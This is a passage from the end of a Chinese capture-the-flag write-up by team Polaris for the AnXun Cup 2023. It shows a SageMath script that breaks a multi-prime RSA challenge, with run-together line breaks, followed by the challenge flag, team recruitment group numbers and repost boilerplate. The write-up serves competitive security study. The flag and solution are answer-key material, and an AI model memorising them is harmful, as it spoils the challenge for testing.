305742085102073958685058774990374612856503657611159209468741748564654591176180299818778135460948807176614281796016904753313757927457094861196369069821421681665875176139845644195736238144691839008758614457979812997005126606399842320648487994406393728514493129219688752202978501994811535834779889459729683428077498441713132964635907469366512175886337946124631196824508247375645971308484279007920881639616776491331812849657775358960227848680733861313065565269244274482334952541032707333167429562469558762781469669359057084779217532331399410333624558772093729396962312936037020992117478202860898927073068360026814644581294222733341428537874383052653054496502673372786144676806905626251642090622209277799682962538245425774337944285158783294880516595307576719556933669812074808919685419881388267486868941401975800053647291641426673593791774634377598637815942343627245274057532320854646240153245893536480745586533270387549779636700040935751519181245119278044454115223974366280075995685049945977835434961621019e1 = 2e2 = 5phi=(p-1)*(q-1)*(r-1)PR.<x>=PolynomialRing(Zmod(p))f=x^2-c1res1=f.roots()PR.<x>=PolynomialRing(Zmod(q))f=x^2-c1res2=f.roots()PR.<x>=PolynomialRing(Zmod(r))f=x^2-c1res3=f.roots()for i1 in res1:    for i2 in res2:        for i3 in res3:            mm = crt([int(i1[0]),int(i2[0]),int(i3[0])],[p,q,r]).list()            for i in mm:                print(long_to_bytes(int(i)))d2=gmpy2.invert(e2,phi)print(long_to_bytes(int(pow(c2,d2,n))))# D0g3{82309bce-9db6-5340-a9e4-a67a9ba15345}

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

安洵杯 2023 Writeup Polaris战队

原文始发于微信公众号(星盟安全):安洵杯 2023 Writeup --Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日23:38:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安洵杯 2023 Writeup Polaris战队http://cn-sec.com/archives/2449010.html

发表评论

匿名网友 填写信息